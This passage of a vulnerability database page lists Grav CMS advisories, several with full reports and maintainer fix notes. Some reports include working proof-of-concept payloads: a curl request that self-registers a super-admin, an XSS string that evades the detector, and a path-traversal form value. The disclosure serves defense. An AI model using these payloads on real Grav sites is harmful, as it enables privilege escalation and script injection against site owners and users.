subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses. - Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion). ## Attack Requirements - Authentication: None (Unauthenticated) - Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration) ## Exploitability Assessment - Complexity: Low. Requires only basic HTTP POST parameters. - Reliability: 100% (Deterministically reproducible in vulnerable versions). - Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption. ## Remediation 1. Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction. 2. Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. 3. Update Grav: Monitor for patches addressing FormFlash sanitization. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**. **What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `''`, which causes `save()`/`delete()`/`getTmpDir()` to no-op — so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk. **Files:** - [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php) - [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) — 32 test cases covering the PoC + variants. |
Affected by 1 other vulnerability. |
|
VCID-ss11-shq5-qqae
Aliases: CVE-2025-66310 GHSA-7g78-5g5g-mvfj |
Grav vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/pages/[page]` parameter `data[header][template]` in Advanced Tab A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/pages/[page]` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[header][template]` parameter. The script is saved within the page's frontmatter and executed automatically whenever the affected content is rendered in the administrative interface or frontend view. --- |
Affected by 14 other vulnerabilities. |
|
VCID-ta5r-m2e1-6qgr
Aliases: CVE-2020-11529 GHSA-wrxc-mr2w-cjpv |
URL Redirection to Untrusted Site ('Open Redirect') Common/Grav.php in Grav before 1.7 has an Open Redirect. This is partially fixed in 1.6.23 and still present in 1.6.x. |
Affected by 62 other vulnerabilities. |
|
VCID-tjh6-wb2e-e7fb
Aliases: CVE-2020-29556 GHSA-r3rg-jrjq-w4mr |
Path Traversal The Backup functionality in Grav CMS allows an authenticated attacker to read arbitrary local files on the underlying server by exploiting a path-traversal technique. (This vulnerability can also be exploited by an unauthenticated attacker due to a lack of CSRF protection.` |
Affected by 61 other vulnerabilities. Affected by 59 other vulnerabilities. |
|
VCID-tkxm-vt8p-tqgv
Aliases: CVE-2026-42613 GHSA-pxm6-mhxr-q4mj |
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access # Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access ## Summary The `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request. This is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary. ## Affected Component - **File:** `user/plugins/login/classes/Login.php`, lines 246-306 - **Method:** `Login::register()` - **Validation:** `Login::validateField()`, lines 363-432 - **Plugin:** Login Plugin 3.8.0 - **Grav:** 1.8.0-beta.29 ## Root Cause In `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**: ```php // Line 254-260 if (!isset($data['groups'])) { $groups = (array) $this->config->get('plugins.login.user_registration.groups', []); if (count($groups) > 0) { $data['groups'] = $groups; } } // Line 262-267 if (!isset($data['access'])) { $access = (array) $this->config->get('plugins.login.user_registration.access.site', []); if (count($access) > 0) { $data['access']['site'] = $access; } } ``` If an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged. Later (lines 298-303), these values are assigned directly to the user object: ```php if (isset($data['groups'])) { $user->groups = $data['groups']; // attacker-controlled } if (isset($data['access'])) { $user->access = $data['access']; // attacker-controlled } $user->save(); ``` The `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**. ## Precondition Registration must be enabled with `groups` and/or `access` in the configured allowed fields: ```yaml # user/config/plugins/login.yaml user_registration: enabled: true fields: - username - password - email - fullname - groups # ← enables the attack - access # ← enables the attack ``` This is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected. ## Proof of Concept ### Malicious registration request (unauthenticated): ```bash curl -X POST "${TARGET}/user_register" \ --data-urlencode "data[username]=attacker" \ --data-urlencode "data[password1]=Str0ngP@ss!" \ --data-urlencode "data[password2]=Str0ngP@ss!" \ --data-urlencode "data[email]=attacker@evil.com" \ --data-urlencode "data[fullname]=Attacker" \ --data-urlencode "data[groups][]=admins" \ --data-urlencode "data[access][admin][login]=true" \ --data-urlencode "data[access][admin][super]=true" \ --data-urlencode "data[access][site][login]=true" \ --data-urlencode "form-nonce=${FORM_NONCE}" \ --data-urlencode "__form-name__=user_register" \ --data-urlencode "__unique_form_id__=${FORM_UID}" ``` ### Resulting account file (`user/accounts/attacker.yaml`): ```yaml email: attacker@evil.com fullname: Attacker groups: - admins access: admin: login: true super: true site: login: true hashed_password: ... state: enabled ``` The attacker can then log into `/admin` with full super-admin privileges. ## Impact - **Severity:** Critical (when precondition is met) - **Vector:** Unauthenticated → Super Admin - **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload - **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning ## Environment - Grav Core: 1.8.0-beta.29 - Login Plugin: 3.8.0 - PHP: 8.4.11 ## Credits Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/ --- ## Maintainer note — fix applied (2026-04-24) Fixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically. **What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values. **Files:** - [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip. |
Affected by 1 other vulnerability. |
|
VCID-u7yn-d7uj-57bh
Aliases: CVE-2026-42842 GHSA-c2q3-p4jr-c55f |
Grav Vulnerable to XSS via Taxonomy Field Values in Admin Panel ### Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the Grav CMS Form plugin's select field template. Taxonomy tag and category values are rendered with the Twig `|raw` filter in the admin panel, bypassing the global autoescape protection. An editor-level user can inject arbitrary JavaScript that executes in any administrator's browser session when they view or edit any page in the admin panel. Additionally, Grav's built-in XSS detection (`Security::detectXss()`) can be bypassed by using payloads that close the `<option>/<select>` context and use unquoted event handlers - the `on_events` regex fails to match event handlers without quotes or trailing spaces before `>`. ### Important - The vulnerability is in the Form plugin (`select.html.twig`), which is installed by default with Grav - The XSS is cross-page: a malicious taxonomy value on one page executes when an admin edits any page, because taxonomy options are rendered from a shared global pool - An editor can exploit this without any other vulnerability - taxonomy fields are not in the server-side restricted fields list - The `HttpOnly` flag on session cookies prevents direct session theft, but the XSS can steal the admin nonce and perform privileged actions via JavaScript ### Permissions Needed - Editor: can create or edit pages and set taxonomy tag/category values ### Details The Form plugin's select field template renders option values using the `|raw` Twig filter, which outputs content without HTML escaping: File: `user/plugins/form/templates/forms/fields/select/select.html.twig` ```twig {# Line 55 #} avalue|raw {# Line 65 #} suboption|t|raw {# Line 72 #} item_value|t|raw ``` The taxonomy field in the page editor uses this select template. When a page has taxonomy values (tags, categories), these values are populated as `<option>` elements in the select dropdown. The `value` attribute is properly escaped by the browser's attribute encoding, but the **display text** between `<option>` tags is rendered raw: ```html <option value="<script>alert(1)</script>"><script>alert(1)</script></option> ``` Since taxonomy options are collected globally across all pages (to provide autocomplete/selection), a malicious taxonomy value on any page will appear in the taxonomy dropdown of every page editor - making this a cross-page stored XSS. The server-side field restriction in the flex-objects plugin only blocks `['form', 'forms', 'process', 'twig']` for non-super users. Taxonomy fields are not restricted, so editors can freely set arbitrary taxonomy values. ### XSS Detection Bypass Grav's `Security::detectXss()` checks for `dangerous_tags` (e.g., `<script>`, `<iframe>`), `on_events` (event handlers), and `invalid_protocols` (e.g., `javascript:`). However, the `on_events` regex: ```php 'on_events' => '#(<[^>]+[a-z\x00-\x20"\'\/)(?:on[a-z]+)\s*=[\s|\'"'].*[\s|\'"']>#iUu' ``` requires either quotes around the handler value or a trailing space before `>`. An unquoted handler like `onerror=alert(1)>` (no space before `>`) bypasses this check entirely. Combined with `</option></select>` to break out of the select context (neither tag is in `dangerous_tags`), the full payload evades all three detection layers and triggers no XSS warning in the admin panel. ### PoC #### Step 1: Login as Editor Navigate to `http://TARGET/admin/` and authenticate with editor credentials. #### Step 2: Create a Page with Malicious Taxonomy - Go to Pages → Add → Add Page - Title: `XSS via editor` - Go to **Options** Tap - On Taxonomies, Add tag: ``` </option></select><img src=x onerror=alert('XSS-via-editor')> ``` This payload: - Closes `</option></select>` to break out of the select dropdown context - Injects an `<img>` tag with an unquoted `onerror` handler (bypasses `on_events` regex) - Is not in the `dangerous_tags` list (no `<script>`, `<iframe>`, etc.) - Triggers no XSS warning in the admin panel <img width="1221" height="857" alt="image" src="https://github.com/user-attachments/assets/6223cbb2-f04b-46bd-89ce-828c89ad77ab" /> #### Step 3: Trigger the XSS When any administrator navigates to the page editor of any page (not just the malicious one), the JavaScript executes immediately. <img width="1224" height="856" alt="image" src="https://github.com/user-attachments/assets/f008b0f2-dedb-4b22-a74a-cdc0d7325cb4" /> The XSS fires because taxonomy tag options are collected globally across all pages and rendered with `|raw` in the select dropdown template. The payload breaks out of the `<option>` context, and the browser renders the `<img>` tag as a regular DOM element. ### Impact - Session hijacking: While `HttpOnly` prevents direct cookie theft, the XSS can steal the admin nonce token and perform any admin action via AJAX requests - Privilege escalation: An editor can perform admin-only actions (create users, modify system configuration, install plugins) through the hijacked admin session - Cross-page impact: A single malicious taxonomy value affects the entire admin panel - every page editor view is compromised --- ## Maintainer note — fix applied (2026-04-24) Fixed across two repos: 1. **grav-plugin-form 9.0.1** (commit [`6bffb4c`](https://github.com/getgrav/grav-plugin-form/commit/6bffb4c)) — the primary fix. All four `|raw` filters in [`templates/forms/fields/select/select.html.twig`](https://github.com/getgrav/grav-plugin-form/blob/develop/templates/forms/fields/select/select.html.twig) (placeholder, avalue, suboption, item_value) have been removed. Option labels — including taxonomy values that propagate cross-page through the admin's shared selection pool — now go through Twig's default escaper, so a lower-privileged editor can no longer inject script that runs in an admin's browser when they open any page editor. 2. **Grav core on the `2.0` branch** (commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8), ships in **2.0.0-beta.2**) — closes the detection-bypass half of the report. The `on_events` regex in `Security::detectXss()` is tightened so unquoted handlers like `onerror=alert(1)>` are flagged (see separate GHSA-9695-8fr9-hw5q), and `option`/`select` have been added to default `security.xss_dangerous_tags` so `</option></select>…` tripwires the detector (see separate GHSA-w8cg-7jcj-4vv2). Sites running admin2 on Grav 2.0.0-beta.2 get the 9.0.1 form plugin automatically via its existing dependency graph. **Files:** - [`templates/forms/fields/select/select.html.twig`](https://github.com/getgrav/grav-plugin-form/blob/develop/templates/forms/fields/select/select.html.twig) — four `|raw` removed. - [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended. - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — `on_events` regex tightened. - [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php) — includes the GHSA-c2q3 PoC payload. |
Affected by 1 other vulnerability. |
|
VCID-uky6-39ye-uqh1
Aliases: CVE-2020-29555 GHSA-gpmf-q5jh-hjx4 |
Path Traversal The BackupDelete functionality in Grav CMS allows an authenticated attacker to delete arbitrary files on the underlying server by exploiting a path-traversal technique. (This vulnerability can also be exploited by an unauthenticated attacker due to a lack of CSRF protection.) |
Affected by 61 other vulnerabilities. Affected by 59 other vulnerabilities. |
|
VCID-unfe-xt2t-fkb5
Aliases: CVE-2022-0970 GHSA-r6hh-5g3q-wwgc |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Cross-site Scripting (XSS) - Stored in GitHub repository getgrav/grav prior to 1.7.31. |
Affected by 51 other vulnerabilities. |
|
VCID-v8u1-nbxw-a7fr
Aliases: CVE-2025-66312 GHSA-rmw5-f87r-w988 |
Grav Admin Plugin is vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/accounts/groups/[group]` parameter `data[readableName]` A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/accounts/groups/Grupo` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[readableName]` parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. --- |
Affected by 14 other vulnerabilities. |
|
VCID-v9n7-vann-6fa5
Aliases: CVE-2025-66309 GHSA-65mj-f7p4-wggq |
Grav is vulnerable to Cross-Site Scripting (XSS) Reflected endpoint /admin/pages/[page], parameter data[header][content][items], located in the "Blog Config" tab A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/pages/[page]` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[header][content][items]` parameter. --- |
Affected by 14 other vulnerabilities. |
|
VCID-vm87-35gf-eyft
Aliases: CVE-2025-66294 GHSA-662m-56v4-3r8f |
Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method. |
Affected by 14 other vulnerabilities. |
|
VCID-w173-rwhh-2fg3
Aliases: CVE-2021-3904 GHSA-5jxc-hmqf-3f73 |
grav is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
Affected by 55 other vulnerabilities. |
|
VCID-w2rm-j4gr-mffe
Aliases: CVE-2019-16126 GHSA-6268-v434-45m5 |
Cross-site Scripting Grav allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images. |
Affected by 63 other vulnerabilities. Affected by 61 other vulnerabilities. Affected by 60 other vulnerabilities. |
|
VCID-wcwt-6fap-1ugc
Aliases: CVE-2022-1173 GHSA-3p5m-j98p-c698 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') stored xss in GitHub repository getgrav/grav prior to 1.7.33. |
Affected by 50 other vulnerabilities. |
|
VCID-xj7v-ry9d-dfh1
Aliases: CVE-2026-42841 GHSA-r7fx-8g49-7hhr |
Grav CMS vulnerable to stored XSS via Markdown media attribute() action ### Summary An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax. The issue is caused by Markdown image query parameters being converted into callable media actions. The public `attribute()` media method can be reached this way, allowing an editor to set an arbitrary HTML attribute name and value on the generated image element. For example, this Markdown: ```markdown ) ``` is rendered as an image tag containing an executable `onload` handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` This results in stored XSS when another user views the affected page. In a multi-user Grav installation, a lower-privileged page editor could use this to target administrators or reviewers who preview or view editor-controlled content. Tested versions: - Grav CMS: 1.7.49.5 - Admin Plugin: 1.10.49.1 Suggested classification: - CWE-79: Improper Neutralization of Input During Web Page Generation - Stored Cross-Site Scripting - Suggested CVSS v4.0 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N` - Suggested CVSS v3.1 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N` ### Details The issue appears to come from this source-to-sink flow: 1. `ParsedownGravTrait::inlineImage()` processes Markdown images. 2. `Excerpts::processImageExcerpt()` resolves the referenced media object. 3. `Excerpts::processMediaActions()` parses the image URL query string into media actions. 4. `call_user_func_array()` invokes the requested action method on the media object. 5. `MediaObjectTrait::attribute()` stores the attacker-controlled attribute name and value. 6. The media object returns a Parsedown element containing the injected attribute. 7. Parsedown renders the attribute name into the final HTML. Relevant code paths: ```text system/src/Grav/Common/Markdown/ParsedownGravTrait.php system/src/Grav/Common/Page/Markdown/Excerpts.php system/src/Grav/Common/Media/Traits/MediaObjectTrait.php system/src/Grav/Common/Page/Medium/StaticImageMedium.php system/src/Grav/Common/Page/Medium/ImageMedium.php vendor/erusev/parsedown/Parsedown.php ``` In `system/src/Grav/Common/Markdown/ParsedownGravTrait.php`, Markdown image excerpts are passed into Grav-specific media handling: ```php if (isset($excerpt['element']['attributes']['src'])) { $excerpt = $this->excerpts->processImageExcerpt($excerpt); } ``` In `system/src/Grav/Common/Page/Markdown/Excerpts.php`, query string parameters are converted into media action calls. The query parameter name becomes the method name: ```php $carry[] = ['method' => $parts[0], 'params' => $value]; ``` The requested method is later invoked dynamically: ```php $medium = call_user_func_array([$medium, $action['method']], $args); ``` For the payload: ```text attribute=onload,alert(document.domain) ``` the method is `attribute`, and the arguments are `onload` and `alert(document.domain)`. In `system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`, `attribute()` stores the caller-controlled attribute name directly: ```php public function attribute($attribute = null, $value = '') { if (!empty($attribute)) { $this->attributes[$attribute] = $value; } return $this; } ``` The image media classes then return the collected attributes as attributes for an `img` element. In `system/src/Grav/Common/Page/Medium/StaticImageMedium.php`: ```php return ['name' => 'img', 'attributes' => $attributes]; ``` The non-static image path in `system/src/Grav/Common/Page/Medium/ImageMedium.php` also returns image attributes in the same way. Finally, in `vendor/erusev/parsedown/Parsedown.php`, the attribute value is escaped, but the attribute name is rendered as-is: ```php $markup .= ' '.$name.'="'.self::escape($value).'"'; ``` As a result, the attacker-controlled attribute name `onload` is emitted into the final HTML and executes as a browser event handler. The Admin Plugin's save-time XSS detection does not appear to block this because the stored content is Markdown media syntax, not raw HTML: ```markdown ) ``` The dangerous HTML is generated later during Markdown/media rendering. ### PoC I reproduced this on a standard Grav CMS installation with the Admin Plugin enabled. Configuration and prerequisites: - Grav CMS 1.7.49.5 - Admin Plugin 1.10.49.1 - Markdown processing enabled for pages - A user account with permission to create or edit pages - A page media file available in the edited page folder, for example `market-overview.gif` Steps to reproduce: 1. Install Grav CMS with the Admin Plugin. 2. Log in to the Admin panel as a user who can create or edit pages. 3. Create a normal content page or edit an existing one. 4. Add or reference a page media file named `market-overview.gif`. 5. Insert the following Markdown into the page body: ```markdown ) ``` 6. Save the page. 7. Open the rendered frontend page in a browser. 8. The JavaScript payload executes when the image loads. 9. Inspect the generated DOM. The rendered image element contains the injected `onload` attribute. Expected result: The Markdown media action should not be able to generate executable HTML attributes. The payload should be rejected, sanitized, or rendered without the dangerous event-handler attribute. Actual result: The payload is accepted and rendered as an executable image event handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` Screenshots: - the stored Markdown payload in the page editor <img width="1718" height="1013" alt="edycja" src="https://github.com/user-attachments/assets/8f5e5275-e4ef-4d5e-a2cd-44683537b909" /> - the JavaScript alert executing on the frontend page <img width="1727" height="1002" alt="alert" src="https://github.com/user-attachments/assets/6de81228-830c-49f2-ac41-b15658a8913d" /> - browser DevTools showing the injected `onload` attribute in the rendered DOM <img width="939" height="539" alt="inspect" src="https://github.com/user-attachments/assets/7832c42d-6f3a-4ea2-b072-b837bd3913ed" /> ### Impact This is a stored cross-site scripting vulnerability. An authenticated user with page editing permissions can store a malicious Markdown image reference. When the affected page is rendered, the payload executes in the browser of any user who views that page. In multi-user Grav installations, this may allow a lower-privileged editor to target administrators, reviewers, or other privileged users who preview or view editor-controlled content. Depending on the victim's privileges and deployed plugins, successful exploitation may allow JavaScript execution in the site origin, access to same-origin page data available to the victim, and same-origin actions performed as the victim. CVSS 4.0 rationale: - `AV:N`: the issue is exploitable through the web application. - `AC:L`: no special race condition or complex setup is required after page editing access is obtained. - `AT:P`: exploitation requires the malicious Markdown/media reference to be stored in page content and later rendered to a victim. - `PR:H`: the attacker needs page editing capability. - `UI:P`: a victim must view the affected page. The demonstrated `onload` payload executes on passive page rendering, without requiring a click or form submission by the victim. - `VC:H/VI:L/VA:N`: confidentiality impact can be high when the victim is an administrator or reviewer; integrity impact is limited; no direct availability impact was demonstrated. - `SC:H/SI:L/SA:N`: the injected script executes in the browser/application context and may affect subsequent same-origin interactions available to the victim. ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. **What changed:** `MediaObjectTrait::attribute()` — the sink reached by Markdown like `)` — now gates the attribute **name** through an allowlist regex (`^[A-Za-z][A-Za-z0-9_:.\-]*$`) plus an explicit denylist of script-context names: - any `on*` handler (case-insensitive) - `style` (inline CSS expression risk) - `xmlns` (XML namespace tricks) - `srcdoc` (iframe sandbox bypass) - `formaction` (form action override) Invalid names are silently dropped — the attribute isn't stored, so it doesn't survive into the rendered `<img>`. `src`/`href`/`data-*`/`aria-*`/standard media attributes are unaffected. **Files:** - [`system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php) — new `isSafeAttributeName()` gate. - [`tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php) — 28 cases (14 dangerous-name rejections, 14 safe-name round-trips). ### Discoverers @K-Czaplicki @morzelowski --- |
Affected by 1 other vulnerability. |
|
VCID-y7vc-cx37-7ubs
Aliases: CVE-2025-66301 GHSA-v8x2-fjv7-8hjh |
Grav has Broken Access Control which allows an Editor to modify the page's YAML Frontmatter to alter form processing actions Due to a broken access control vulnerability in the `/admin/pages/{page_name}` endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission. |
Affected by 14 other vulnerabilities. |
|
VCID-yh73-zyju-vqge
Aliases: CVE-2024-28116 GHSA-c9gp-64c4-2rrh |
Server-Side Template Injection (SSTI) with Grav CMS security sandbox bypass Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. |
Affected by 37 other vulnerabilities. |
|
VCID-ymnw-h6as-fbe5
Aliases: CVE-2025-66843 GHSA-mh85-44c2-3m97 |
Grav is vulnerable to Stored XSS through authenticated user-edited content grav before v1.7.49.5 has a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality. An authenticated low-privileged user with permission to edit content can inject malicious JavaScript payloads into editable fields. The payload is stored on the server and later executed when any other user views or edits the affected page. |
Affected by 32 other vulnerabilities. |
|
VCID-z1hg-w198-f7h8
Aliases: CVE-2023-34252 GHSA-96xv-rmwj-6p9w |
Improper Control of Generation of Code ('Code Injection') Grav is a file-based Web platform. Prior to version 1.7.42, there is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. The vulnerability can be found in the `GravExtension.filterFilter()` function declared in `/system/src/Grav/Common/Twig/Extension/GravExtension.php`. Version 1.7.42 contains a patch for this issue. End users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them. |
Affected by 45 other vulnerabilities. |
|
VCID-zg5t-uqx2-87fw
Aliases: CVE-2024-27921 GHSA-m7hx-hw6h-mqmc |
Grav File Upload Path Traversal Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques. |
Affected by 37 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||